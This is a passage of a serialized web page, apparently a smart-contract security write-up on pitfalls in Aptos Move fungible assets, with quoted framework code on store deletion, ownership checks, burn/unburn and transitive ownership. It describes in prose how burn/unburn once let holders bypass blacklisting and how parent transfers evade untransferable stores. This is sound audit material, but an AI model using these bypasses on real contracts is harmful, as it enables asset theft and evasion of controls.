",{"type":23,"tag":154,"props":65464,"children":65466},{"className":65465},[],[65467],{"type":29,"value":50914},{"type":29,"value":65469}," underneath, causing the operation to fail.",{"type":23,"tag":4743,"props":65471,"children":65473},{"className":5009,"code":65472,"language":5008,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[65474],{"type":23,"tag":154,"props":65475,"children":65476},{"__ignoreMap":7},[65477,65532,65584,65599],{"type":23,"tag":504,"props":65478,"children":65479},{"class":5016,"line":5017},[65480,65484,65488,65492,65496,65500,65504,65508,65512,65516,65520,65524,65528],{"type":23,"tag":504,"props":65481,"children":65482},{"style":5041},[65483],{"type":29,"value":63737},{"type":23,"tag":504,"props":65485,"children":65486},{"style":5041},[65487],{"type":29,"value":8252},{"type":23,"tag":504,"props":65489,"children":65490},{"style":5139},[65491],{"type":29,"value":65333},{"type":23,"tag":504,"props":65493,"children":65494},{"style":5058},[65495],{"type":29,"value":603},{"type":23,"tag":504,"props":65497,"children":65498},{"style":5041},[65499],{"type":29,"value":65342},{"type":23,"tag":504,"props":65501,"children":65502},{"style":5047},[65503],{"type":29,"value":6533},{"type":23,"tag":504,"props":65505,"children":65506},{"style":5047},[65507],{"type":29,"value":9185},{"type":23,"tag":504,"props":65509,"children":65510},{"style":5467},[65511],{"type":29,"value":65355},{"type":23,"tag":504,"props":65513,"children":65514},{"style":5058},[65515],{"type":29,"value":5128},{"type":23,"tag":504,"props":65517,"children":65518},{"style":5041},[65519],{"type":29,"value":8389},{"type":23,"tag":504,"props":65521,"children":65522},{"style":5058},[65523],{"type":29,"value":25073},{"type":23,"tag":504,"props":65525,"children":65526},{"style":5047},[65527],{"type":29,"value":853},{"type":23,"tag":504,"props":65529,"children":65530},{"style":5058},[65531],{"type":29,"value":63828},{"type":23,"tag":504,"props":65533,"children":65534},{"class":5016,"line":4868},[65535,65539,65543,65547,65551,65555,65559,65564,65568,65572,65576,65580],{"type":23,"tag":504,"props":65536,"children":65537},{"style":5030},[65538],{"type":29,"value":5033},{"type":23,"tag":504,"props":65540,"children":65541},{"style":5041},[65542],{"type":29,"value":7876},{"type":23,"tag":504,"props":65544,"children":65545},{"style":5047},[65546],{"type":29,"value":5050},{"type":23,"tag":504,"props":65548,"children":65549},{"style":5047},[65550],{"type":29,"value":9185},{"type":23,"tag":504,"props":65552,"children":65553},{"style":5058},[65554],{"type":29,"value":64972},{"type":23,"tag":504,"props":65556,"children":65557},{"style":5047},[65558],{"type":29,"value":5530},{"type":23,"tag":504,"props":65560,"children":65561},{"style":5041},[65562],{"type":29,"value":65563},"object_from_delete_ref",{"type":23,"tag":504,"props":65565,"children":65566},{"style":5058},[65567],{"type":29,"value":2658},{"type":23,"tag":504,"props":65569,"children":65570},{"style":5467},[65571],{"type":29,"value":64138},{"type":23,"tag":504,"props":65573,"children":65574},{"style":5058},[65575],{"type":29,"value":9655},{"type":23,"tag":504,"props":65577,"children":65578},{"style":5041},[65579],{"type":29,"value":65342},{"type":23,"tag":504,"props":65581,"children":65582},{"style":5058},[65583],{"type":29,"value":5888},{"type":23,"tag":504,"props":65585,"children":65586},{"class":5016,"line":4876},[65587,65591,65595],{"type":23,"tag":504,"props":65588,"children":65589},{"style":5058},[65590],{"type":29,"value":64780},{"type":23,"tag":504,"props":65592,"children":65593},{"style":5047},[65594],{"type":29,"value":853},{"type":23,"tag":504,"props":65596,"children":65597},{"style":5058},[65598],{"type":29,"value":13818},{"type":23,"tag":504,"props":65600,"children":65601},{"class":5016,"line":5099},[65602],{"type":23,"tag":504,"props":65603,"children":65604},{"style":5058},[65605],{"type":29,"value":5965},{"type":23,"tag":32,"props":65607,"children":65608},{},[65609,65611,65616,65618,65624,65626,65631],{"type":29,"value":65610},"In addition, such \"deleted\" ",{"type":23,"tag":154,"props":65612,"children":65614},{"className":65613},[],[65615],{"type":29,"value":64138},{"type":29,"value":65617}," objects remain at least partially operable. For instance, ",{"type":23,"tag":154,"props":65619,"children":65621},{"className":65620},[],[65622],{"type":29,"value":65623},"fungible_asset::deposit",{"type":29,"value":65625}," does not check the ",{"type":23,"tag":154,"props":65627,"children":65629},{"className":65628},[],[65630],{"type":29,"value":50914},{"type":29,"value":65632}," existence.",{"type":23,"tag":320,"props":65634,"children":65636},{"id":65635},"ownership",[65637],{"type":29,"value":65638},"Ownership",{"type":23,"tag":32,"props":65640,"children":65641},{},[65642,65644,65649,65651,65657,65659,65664],{"type":29,"value":65643},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":154,"props":65645,"children":65647},{"className":65646},[],[65648],{"type":29,"value":50914},{"type":29,"value":65650}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":154,"props":65652,"children":65654},{"className":65653},[],[65655],{"type":29,"value":65656},"object::owns",{"type":29,"value":65658}," to confirm ownership of the ",{"type":23,"tag":154,"props":65660,"children":65662},{"className":65661},[],[65663],{"type":29,"value":64138},{"type":29,"value":52240},{"type":23,"tag":4743,"props":65666,"children":65668},{"className":5009,"code":65667,"language":5008,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[65669],{"type":23,"tag":154,"props":65670,"children":65671},{"__ignoreMap":7},[65672,65720,65744,65771,65791,65819,65887,65902],{"type":23,"tag":504,"props":65673,"children":65674},{"class":5016,"line":5017},[65675,65679,65683,65687,65691,65695,65700,65704,65708,65712,65716],{"type":23,"tag":504,"props":65676,"children":65677},{"style":5139},[65678],{"type":29,"value":63737},{"type":23,"tag":504,"props":65680,"children":65681},{"style":5058},[65682],{"type":29,"value":603},{"type":23,"tag":504,"props":65684,"children":65685},{"style":5041},[65686],{"type":29,"value":9142},{"type":23,"tag":504,"props":65688,"children":65689},{"style":5058},[65690],{"type":29,"value":5128},{"type":23,"tag":504,"props":65692,"children":65693},{"style":5041},[65694],{"type":29,"value":9151},{"type":23,"tag":504,"props":65696,"children":65697},{"style":5041},[65698],{"type":29,"value":65699}," withdraw_sanity_check",{"type":23,"tag":504,"props":65701,"children":65702},{"style":5058},[65703],{"type":29,"value":2658},{"type":23,"tag":504,"props":65705,"children":65706},{"style":5467},[65707],{"type":29,"value":8033},{"type":23,"tag":504,"props":65709,"children":65710},{"style":5047},[65711],{"type":29,"value":6533},{"type":23,"tag":504,"props":65713,"children":65714},{"style":5041},[65715],{"type":29,"value":7977},{"type":23,"tag":504,"props":65717,"children":65718},{"style":5058},[65719],{"type":29,"value":8632},{"type":23,"tag":504,"props":65721,"children":65722},{"class":5016,"line":4868},[65723,65728,65732,65736,65740],{"type":23,"tag":504,"props":65724,"children":65725},{"style":5041},[65726],{"type":29,"value":65727},"    owner",{"type":23,"tag":504,"props":65729,"children":65730},{"style":5047},[65731],{"type":29,"value":6533},{"type":23,"tag":504,"props":65733,"children":65734},{"style":5047},[65735],{"type":29,"value":9185},{"type":23,"tag":504,"props":65737,"children":65738},{"style":5041},[65739],{"type":29,"value":9190},{"type":23,"tag":504,"props":65741,"children":65742},{"style":5058},[65743],{"type":29,"value":5557},{"type":23,"tag":504,"props":65745,"children":65746},{"class":5016,"line":4876},[65747,65751,65755,65759,65763,65767],{"type":23,"tag":504,"props":65748,"children":65749},{"style":5041},[65750],{"type":29,"value":31468},{"type":23,"tag":504,"props":65752,"children":65753},{"style":5047},[65754],{"type":29,"value":6533},{"type":23,"tag":504,"props":65756,"children":65757},{"style":5467},[65758],{"type":29,"value":63623},{"type":23,"tag":504,"props":65760,"children":65761},{"style":5058},[65762],{"type":29,"value":2658},{"type":23,"tag":504,"props":65764,"children":65765},{"style":5467},[65766],{"type":29,"value":8033},{"type":23,"tag":504,"props":65768,"children":65769},{"style":5058},[65770],{"type":29,"value":8183},{"type":23,"tag":504,"props":65772,"children":65773},{"class":5016,"line":5099},[65774,65779,65783,65787],{"type":23,"tag":504,"props":65775,"children":65776},{"style":5041},[65777],{"type":29,"value":65778},"    abort_on_dispatch",{"type":23,"tag":504,"props":65780,"children":65781},{"style":5047},[65782],{"type":29,"value":6533},{"type":23,"tag":504,"props":65784,"children":65785},{"style":5467},[65786],{"type":29,"value":14096},{"type":23,"tag":504,"props":65788,"children":65789},{"style":5058},[65790],{"type":29,"value":5557},{"type":23,"tag":504,"props":65792,"children":65793},{"class":5016,"line":5203},[65794,65798,65802,65806,65810,65815],{"type":23,"tag":504,"props":65795,"children":65796},{"style":5058},[65797],{"type":29,"value":5128},{"type":23,"tag":504,"props":65799,"children":65800},{"style":5041},[65801],{"type":29,"value":8389},{"type":23,"tag":504,"props":65803,"children":65804},{"style":5467},[65805],{"type":29,"value":64158},{"type":23,"tag":504,"props":65807,"children":65808},{"style":5058},[65809],{"type":29,"value":4367},{"type":23,"tag":504,"props":65811,"children":65812},{"style":5467},[65813],{"type":29,"value":65814},"DispatchFunctionStore",{"type":23,"tag":504,"props":65816,"children":65817},{"style":5058},[65818],{"type":29,"value":5333},{"type":23,"tag":504,"props":65820,"children":65821},{"class":5016,"line":5308},[65822,65826,65831,65835,65840,65844,65848,65852,65856,65860,65864,65868,65873,65877,65882],{"type":23,"tag":504,"props":65823,"children":65824},{"style":5139},[65825],{"type":29,"value":64406},{"type":23,"tag":504,"props":65827,"children":65828},{"style":5058},[65829],{"type":29,"value":65830},"(object",{"type":23,"tag":504,"props":65832,"children":65833},{"style":5047},[65834],{"type":29,"value":5530},{"type":23,"tag":504,"props":65836,"children":65837},{"style":5139},[65838],{"type":29,"value":65839},"owns",{"type":23,"tag":504,"props":65841,"children":65842},{"style":5058},[65843],{"type":29,"value":603},{"type":23,"tag":504,"props":65845,"children":65846},{"style":5041},[65847],{"type":29,"value":7986},{"type":23,"tag":504,"props":65849,"children":65850},{"style":5058},[65851],{"type":29,"value":14982},{"type":23,"tag":504,"props":65853,"children":65854},{"style":5047},[65855],{"type":29,"value":5530},{"type":23,"tag":504,"props":65857,"children":65858},{"style":5139},[65859],{"type":29,"value":9253},{"type":23,"tag":504,"props":65861,"children":65862},{"style":5058},[65863],{"type":29,"value":603},{"type":23,"tag":504,"props":65865,"children":65866},{"style":5041},[65867],{"type":29,"value":17656},{"type":23,"tag":504,"props":65869,"children":65870},{"style":5058},[65871],{"type":29,"value":65872},")), error",{"type":23,"tag":504,"props":65874,"children":65875},{"style":5047},[65876],{"type":29,"value":5530},{"type":23,"tag":504,"props":65878,"children":65879},{"style":5139},[65880],{"type":29,"value":65881},"permission_denied",{"type":23,"tag":504,"props":65883,"children":65884},{"style":5058},[65885],{"type":29,"value":65886},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":504,"props":65888,"children":65889},{"class":5016,"line":5336},[65890,65894,65898],{"type":23,"tag":504,"props":65891,"children":65892},{"style":5058},[65893],{"type":29,"value":64780},{"type":23,"tag":504,"props":65895,"children":65896},{"style":5047},[65897],{"type":29,"value":853},{"type":23,"tag":504,"props":65899,"children":65900},{"style":5058},[65901],{"type":29,"value":13818},{"type":23,"tag":504,"props":65903,"children":65904},{"class":5016,"line":5349},[65905],{"type":23,"tag":504,"props":65906,"children":65907},{"style":5058},[65908],{"type":29,"value":5965},{"type":23,"tag":32,"props":65910,"children":65911},{},[65912,65914,65919,65921,65927,65929,65935],{"type":29,"value":65913},"The thing to note is that defining ownership with ",{"type":23,"tag":154,"props":65915,"children":65917},{"className":65916},[],[65918],{"type":29,"value":65656},{"type":29,"value":65920}," can be tricky. The ",{"type":23,"tag":154,"props":65922,"children":65924},{"className":65923},[],[65925],{"type":29,"value":65926},"burn",{"type":29,"value":65928}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":154,"props":65930,"children":65932},{"className":65931},[],[65933],{"type":29,"value":65934},"BURN_ADDRESS",{"type":29,"value":65936}," while bypassing transfer restrictions:",{"type":23,"tag":4743,"props":65938,"children":65940},{"className":5009,"code":65939,"language":5008,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[65941],{"type":23,"tag":154,"props":65942,"children":65943},{"__ignoreMap":7},[65944,66041,66082,66132,66161,66211,66232],{"type":23,"tag":504,"props":65945,"children":65946},{"class":5016,"line":5017},[65947,65951,65955,65959,65964,65968,65972,65976,65980,65984,65988,65992,65996,66000,66004,66008,66012,66016,66020,66024,66028,66032,66037],{"type":23,"tag":504,"props":65948,"children":65949},{"style":5041},[65950],{"type":29,"value":63737},{"type":23,"tag":504,"props":65952,"children":65953},{"style":5041},[65954],{"type":29,"value":64704},{"type":23,"tag":504,"props":65956,"children":65957},{"style":5041},[65958],{"type":29,"value":8252},{"type":23,"tag":504,"props":65960,"children":65961},{"style":5041},[65962],{"type":29,"value":65963}," burn",{"type":23,"tag":504,"props":65965,"children":65966},{"style":5058},[65967],{"type":29,"value":2658},{"type":23,"tag":504,"props":65969,"children":65970},{"style":5467},[65971],{"type":29,"value":8033},{"type":23,"tag":504,"props":65973,"children":65974},{"style":5047},[65975],{"type":29,"value":6533},{"type":23,"tag":504,"props":65977,"children":65978},{"style":5041},[65979],{"type":29,"value":7977},{"type":23,"tag":504,"props":65981,"children":65982},{"style":5058},[65983],{"type":29,"value":9655},{"type":23,"tag":504,"props":65985,"children":65986},{"style":5041},[65987],{"type":29,"value":17656},{"type":23,"tag":504,"props":65989,"children":65990},{"style":5047},[65991],{"type":29,"value":6533},{"type":23,"tag":504,"props":65993,"children":65994},{"style":5047},[65995],{"type":29,"value":9185},{"type":23,"tag":504,"props":65997,"children":65998},{"style":5041},[65999],{"type":29,"value":9190},{"type":23,"tag":504,"props":66001,"children":66002},{"style":5058},[66003],{"type":29,"value":4367},{"type":23,"tag":504,"props":66005,"children":66006},{"style":5041},[66007],{"type":29,"value":64972},{"type":23,"tag":504,"props":66009,"children":66010},{"style":5047},[66011],{"type":29,"value":6533},{"type":23,"tag":504,"props":66013,"children":66014},{"style":5467},[66015],{"type":29,"value":63623},{"type":23,"tag":504,"props":66017,"children":66018},{"style":5058},[66019],{"type":29,"value":2658},{"type":23,"tag":504,"props":66021,"children":66022},{"style":5467},[66023],{"type":29,"value":8033},{"type":23,"tag":504,"props":66025,"children":66026},{"style":5058},[66027],{"type":29,"value":22499},{"type":23,"tag":504,"props":66029,"children":66030},{"style":5041},[66031],{"type":29,"value":8389},{"type":23,"tag":504,"props":66033,"children":66034},{"style":5467},[66035],{"type":29,"value":66036}," ObjectCore",{"type":23,"tag":504,"props":66038,"children":66039},{"style":5058},[66040],{"type":29,"value":5333},{"type":23,"tag":504,"props":66042,"children":66043},{"class":5016,"line":4868},[66044,66048,66053,66057,66062,66066,66070,66074,66078],{"type":23,"tag":504,"props":66045,"children":66046},{"style":5030},[66047],{"type":29,"value":5033},{"type":23,"tag":504,"props":66049,"children":66050},{"style":5041},[66051],{"type":29,"value":66052}," original_owner",{"type":23,"tag":504,"props":66054,"children":66055},{"style":5047},[66056],{"type":29,"value":5050},{"type":23,"tag":504,"props":66058,"children":66059},{"style":5058},[66060],{"type":29,"value":66061}," signer",{"type":23,"tag":504,"props":66063,"children":66064},{"style":5047},[66065],{"type":29,"value":5530},{"type":23,"tag":504,"props":66067,"children":66068},{"style":5139},[66069],{"type":29,"value":9253},{"type":23,"tag":504,"props":66071,"children":66072},{"style":5058},[66073],{"type":29,"value":603},{"type":23,"tag":504,"props":66075,"children":66076},{"style":5041},[66077],{"type":29,"value":17656},{"type":23,"tag":504,"props":66079,"children":66080},{"style":5058},[66081],{"type":29,"value":5888},{"type":23,"tag":504,"props":66083,"children":66084},{"class":5016,"line":4876},[66085,66089,66093,66098,66102,66106,66110,66115,66119,66123,66127],{"type":23,"tag":504,"props":66086,"children":66087},{"style":5139},[66088],{"type":29,"value":64406},{"type":23,"tag":504,"props":66090,"children":66091},{"style":5058},[66092],{"type":29,"value":603},{"type":23,"tag":504,"props":66094,"children":66095},{"style":5139},[66096],{"type":29,"value":66097},"is_owner",{"type":23,"tag":504,"props":66099,"children":66100},{"style":5058},[66101],{"type":29,"value":603},{"type":23,"tag":504,"props":66103,"children":66104},{"style":5041},[66105],{"type":29,"value":64972},{"type":23,"tag":504,"props":66107,"children":66108},{"style":5058},[66109],{"type":29,"value":4367},{"type":23,"tag":504,"props":66111,"children":66112},{"style":5041},[66113],{"type":29,"value":66114},"original_owner",{"type":23,"tag":504,"props":66116,"children":66117},{"style":5058},[66118],{"type":29,"value":64995},{"type":23,"tag":504,"props":66120,"children":66121},{"style":5047},[66122],{"type":29,"value":5530},{"type":23,"tag":504,"props":66124,"children":66125},{"style":5139},[66126],{"type":29,"value":65881},{"type":23,"tag":504,"props":66128,"children":66129},{"style":5058},[66130],{"type":29,"value":66131},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":504,"props":66133,"children":66134},{"class":5016,"line":5099},[66135,66139,66144,66148,66152,66156],{"type":23,"tag":504,"props":66136,"children":66137},{"style":5030},[66138],{"type":29,"value":5033},{"type":23,"tag":504,"props":66140,"children":66141},{"style":5041},[66142],{"type":29,"value":66143}," object_addr",{"type":23,"tag":504,"props":66145,"children":66146},{"style":5047},[66147],{"type":29,"value":5050},{"type":23,"tag":504,"props":66149,"children":66150},{"style":5041},[66151],{"type":29,"value":64556},{"type":23,"tag":504,"props":66153,"children":66154},{"style":5047},[66155],{"type":29,"value":357},{"type":23,"tag":504,"props":66157,"children":66158},{"style":5058},[66159],{"type":29,"value":66160},"inner;\n",{"type":23,"tag":504,"props":66162,"children":66163},{"class":5016,"line":5203},[66164,66168,66172,66176,66181,66185,66190,66194,66199,66203,66207],{"type":23,"tag":504,"props":66165,"children":66166},{"style":5139},[66167],{"type":29,"value":65159},{"type":23,"tag":504,"props":66169,"children":66170},{"style":5058},[66171],{"type":29,"value":603},{"type":23,"tag":504,"props":66173,"children":66174},{"style":5047},[66175],{"type":29,"value":5151},{"type":23,"tag":504,"props":66177,"children":66178},{"style":5139},[66179],{"type":29,"value":66180},"create_signer",{"type":23,"tag":504,"props":66182,"children":66183},{"style":5058},[66184],{"type":29,"value":603},{"type":23,"tag":504,"props":66186,"children":66187},{"style":5041},[66188],{"type":29,"value":66189},"object_addr",{"type":23,"tag":504,"props":66191,"children":66192},{"style":5058},[66193],{"type":29,"value":17224},{"type":23,"tag":504,"props":66195,"children":66196},{"style":5467},[66197],{"type":29,"value":66198},"TombStone",{"type":23,"tag":504,"props":66200,"children":66201},{"style":5058},[66202],{"type":29,"value":11633},{"type":23,"tag":504,"props":66204,"children":66205},{"style":5041},[66206],{"type":29,"value":66114},{"type":23,"tag":504,"props":66208,"children":66209},{"style":5058},[66210],{"type":29,"value":40891},{"type":23,"tag":504,"props":66212,"children":66213},{"class":5016,"line":5308},[66214,66219,66223,66227],{"type":23,"tag":504,"props":66215,"children":66216},{"style":5139},[66217],{"type":29,"value":66218},"    transfer_raw_inner",{"type":23,"tag":504,"props":66220,"children":66221},{"style":5058},[66222],{"type":29,"value":603},{"type":23,"tag":504,"props":66224,"children":66225},{"style":5041},[66226],{"type":29,"value":66189},{"type":23,"tag":504,"props":66228,"children":66229},{"style":5058},[66230],{"type":29,"value":66231},", BURN_ADDRESS);\n",{"type":23,"tag":504,"props":66233,"children":66234},{"class":5016,"line":5336},[66235],{"type":23,"tag":504,"props":66236,"children":66237},{"style":5058},[66238],{"type":29,"value":5965},{"type":23,"tag":32,"props":66240,"children":66241},{},[66242,66248,66250,66255,66256,66263,66265,66270],{"type":23,"tag":154,"props":66243,"children":66245},{"className":66244},[],[66246],{"type":29,"value":66247},"unburn",{"type":29,"value":66249}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":154,"props":66251,"children":66253},{"className":66252},[],[66254],{"type":29,"value":65934},{"type":29,"value":20582},{"type":23,"tag":68,"props":66257,"children":66260},{"href":66258,"rel":66259},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[72],[66261],{"type":29,"value":66262},"AIP-99",{"type":29,"value":66264}," is a proposal to roll back the ",{"type":23,"tag":154,"props":66266,"children":66268},{"className":66267},[],[66269],{"type":29,"value":65926},{"type":29,"value":66271}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":446,"props":66273,"children":66274},{},[66275],{"type":23,"tag":32,"props":66276,"children":66277},{},[66278,66280,66284],{"type":29,"value":66279},"This ",{"type":23,"tag":504,"props":66281,"children":66282},{},[66283],{"type":29,"value":66262},{"type":29,"value":66285}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":32,"props":66287,"children":66288},{},[66289,66291,66297,66299,66304,66306,66311],{"type":29,"value":66290},"Another important thing is that ",{"type":23,"tag":154,"props":66292,"children":66294},{"className":66293},[],[66295],{"type":29,"value":66296},"fungible_asset::set_untransferable",{"type":29,"value":66298}," can be used to make all new ",{"type":23,"tag":154,"props":66300,"children":66302},{"className":66301},[],[66303],{"type":29,"value":64642},{"type":29,"value":66305}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":154,"props":66307,"children":66309},{"className":66308},[],[66310],{"type":29,"value":64138},{"type":29,"value":357},{"type":23,"tag":32,"props":66313,"children":66314},{},[66315,66317,66322,66324,66330,66332,66337,66339,66344],{"type":29,"value":66316},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":154,"props":66318,"children":66320},{"className":66319},[],[66321],{"type":29,"value":64138},{"type":29,"value":66323},", X can withdraw from that store. This is because ",{"type":23,"tag":154,"props":66325,"children":66327},{"className":66326},[],[66328],{"type":29,"value":66329},"fungible_asset::withdraw",{"type":29,"value":66331}," uses ",{"type":23,"tag":154,"props":66333,"children":66335},{"className":66334},[],[66336],{"type":29,"value":65656},{"type":29,"value":66338}," to verify both direct and indirect ownership of the ",{"type":23,"tag":154,"props":66340,"children":66342},{"className":66341},[],[66343],{"type":29,"value":64138},{"type":29,"value":52240},{"type":23,"tag":4743,"props":66346,"children":66348},{"className":5009,"code":66347,"language":5008,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[66349],{"type":23,"tag":154,"props":66350,"children":66351},{"__ignoreMap":7},[66352,66413,66429,66459,66488,66503,66515,66545,66566,66573,66613,66638,66645],{"type":23,"tag":504,"props":66353,"children":66354},{"class":5016,"line":5017},[66355,66359,66364,66368,66372,66376,66380,66384,66389,66393,66397,66401,66405,66409],{"type":23,"tag":504,"props":66356,"children":66357},{"style":5041},[66358],{"type":29,"value":9151},{"type":23,"tag":504,"props":66360,"children":66361},{"style":5139},[66362],{"type":29,"value":66363}," verify_ungated_and_descendant",{"type":23,"tag":504,"props":66365,"children":66366},{"style":5058},[66367],{"type":29,"value":603},{"type":23,"tag":504,"props":66369,"children":66370},{"style":5041},[66371],{"type":29,"value":17656},{"type":23,"tag":504,"props":66373,"children":66374},{"style":5047},[66375],{"type":29,"value":6533},{"type":23,"tag":504,"props":66377,"children":66378},{"style":5041},[66379],{"type":29,"value":8295},{"type":23,"tag":504,"props":66381,"children":66382},{"style":5058},[66383],{"type":29,"value":4367},{"type":23,"tag":504,"props":66385,"children":66386},{"style":5041},[66387],{"type":29,"value":66388},"destination",{"type":23,"tag":504,"props":66390,"children":66391},{"style":5047},[66392],{"type":29,"value":6533},{"type":23,"tag":504,"props":66394,"children":66395},{"style":5041},[66396],{"type":29,"value":8295},{"type":23,"tag":504,"props":66398,"children":66399},{"style":5058},[66400],{"type":29,"value":5128},{"type":23,"tag":504,"props":66402,"children":66403},{"style":5041},[66404],{"type":29,"value":8389},{"type":23,"tag":504,"props":66406,"children":66407},{"style":5467},[66408],{"type":29,"value":66036},{"type":23,"tag":504,"props":66410,"children":66411},{"style":5058},[66412],{"type":29,"value":5333},{"type":23,"tag":504,"props":66414,"children":66415},{"class":5016,"line":4868},[66416,66421,66425],{"type":23,"tag":504,"props":66417,"children":66418},{"style":5058},[66419],{"type":29,"value":66420},"        [",{"type":23,"tag":504,"props":66422,"children":66423},{"style":5047},[66424],{"type":29,"value":853},{"type":23,"tag":504,"props":66426,"children":66427},{"style":5058},[66428],{"type":29,"value":13818},{"type":23,"tag":504,"props":66430,"children":66431},{"class":5016,"line":4876},[66432,66437,66441,66445,66450,66455],{"type":23,"tag":504,"props":66433,"children":66434},{"style":5067},[66435],{"type":29,"value":66436},"    while",{"type":23,"tag":504,"props":66438,"children":66439},{"style":5058},[66440],{"type":29,"value":5110},{"type":23,"tag":504,"props":66442,"children":66443},{"style":5041},[66444],{"type":29,"value":17656},{"type":23,"tag":504,"props":66446,"children":66447},{"style":5047},[66448],{"type":29,"value":66449}," !=",{"type":23,"tag":504,"props":66451,"children":66452},{"style":5041},[66453],{"type":29,"value":66454}," current_address",{"type":23,"tag":504,"props":66456,"children":66457},{"style":5058},[66458],{"type":29,"value":16850},{"type":23,"tag":504,"props":66460,"children":66461},{"class":5016,"line":5099},[66462,66467,66471,66476,66480,66484],{"type":23,"tag":504,"props":66463,"children":66464},{"style":5041},[66465],{"type":29,"value":66466},"        count",{"type":23,"tag":504,"props":66468,"children":66469},{"style":5047},[66470],{"type":29,"value":5050},{"type":23,"tag":504,"props":66472,"children":66473},{"style":5041},[66474],{"type":29,"value":66475}," count",{"type":23,"tag":504,"props":66477,"children":66478},{"style":5047},[66479],{"type":29,"value":10950},{"type":23,"tag":504,"props":66481,"children":66482},{"style":5083},[66483],{"type":29,"value":6565},{"type":23,"tag":504,"props":66485,"children":66486},{"style":5058},[66487],{"type":29,"value":5061},{"type":23,"tag":504,"props":66489,"children":66490},{"class":5016,"line":5203},[66491,66495,66499],{"type":23,"tag":504,"props":66492,"children":66493},{"style":5058},[66494],{"type":29,"value":66420},{"type":23,"tag":504,"props":66496,"children":66497},{"style":5047},[66498],{"type":29,"value":853},{"type":23,"tag":504,"props":66500,"children":66501},{"style":5058},[66502],{"type":29,"value":13818},{"type":23,"tag":504,"props":66504,"children":66505},{"class":5016,"line":5308},[66506,66511],{"type":23,"tag":504,"props":66507,"children":66508},{"style":5139},[66509],{"type":29,"value":66510},"        assert!",{"type":23,"tag":504,"props":66512,"children":66513},{"style":5058},[66514],{"type":29,"value":5512},{"type":23,"tag":504,"props":66516,"children":66517},{"class":5016,"line":5336},[66518,66523,66527,66532,66536,66541],{"type":23,"tag":504,"props":66519,"children":66520},{"style":5041},[66521],{"type":29,"value":66522},"            exists",{"type":23,"tag":504,"props":66524,"children":66525},{"style":5058},[66526],{"type":29,"value":2658},{"type":23,"tag":504,"props":66528,"children":66529},{"style":5467},[66530],{"type":29,"value":66531},"ObjectCore",{"type":23,"tag":504,"props":66533,"children":66534},{"style":5058},[66535],{"type":29,"value":9655},{"type":23,"tag":504,"props":66537,"children":66538},{"style":5041},[66539],{"type":29,"value":66540},"current_address",{"type":23,"tag":504,"props":66542,"children":66543},{"style":5058},[66544],{"type":29,"value":8780},{"type":23,"tag":504,"props":66546,"children":66547},{"class":5016,"line":5349},[66548,66553,66557,66561],{"type":23,"tag":504,"props":66549,"children":66550},{"style":5058},[66551],{"type":29,"value":66552},"            error",{"type":23,"tag":504,"props":66554,"children":66555},{"style":5047},[66556],{"type":29,"value":5530},{"type":23,"tag":504,"props":66558,"children":66559},{"style":5139},[66560],{"type":29,"value":65881},{"type":23,"tag":504,"props":66562,"children":66563},{"style":5058},[66564],{"type":29,"value":66565},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":504,"props":66567,"children":66568},{"class":5016,"line":5367},[66569],{"type":23,"tag":504,"props":66570,"children":66571},{"style":5058},[66572],{"type":29,"value":9788},{"type":23,"tag":504,"props":66574,"children":66575},{"class":5016,"line":5388},[66576,66580,66584,66588,66593,66597,66601,66605,66609],{"type":23,"tag":504,"props":66577,"children":66578},{"style":5030},[66579],{"type":29,"value":5105},{"type":23,"tag":504,"props":66581,"children":66582},{"style":5041},[66583],{"type":29,"value":64556},{"type":23,"tag":504,"props":66585,"children":66586},{"style":5047},[66587],{"type":29,"value":5050},{"type":23,"tag":504,"props":66589,"children":66590},{"style":5041},[66591],{"type":29,"value":66592}," borrow_global",{"type":23,"tag":504,"props":66594,"children":66595},{"style":5058},[66596],{"type":29,"value":2658},{"type":23,"tag":504,"props":66598,"children":66599},{"style":5467},[66600],{"type":29,"value":66531},{"type":23,"tag":504,"props":66602,"children":66603},{"style":5058},[66604],{"type":29,"value":9655},{"type":23,"tag":504,"props":66606,"children":66607},{"style":5041},[66608],{"type":29,"value":66540},{"type":23,"tag":504,"props":66610,"children":66611},{"style":5058},[66612],{"type":29,"value":5888},{"type":23,"tag":504,"props":66614,"children":66615},{"class":5016,"line":5397},[66616,66621,66625,66629,66633],{"type":23,"tag":504,"props":66617,"children":66618},{"style":5041},[66619],{"type":29,"value":66620},"        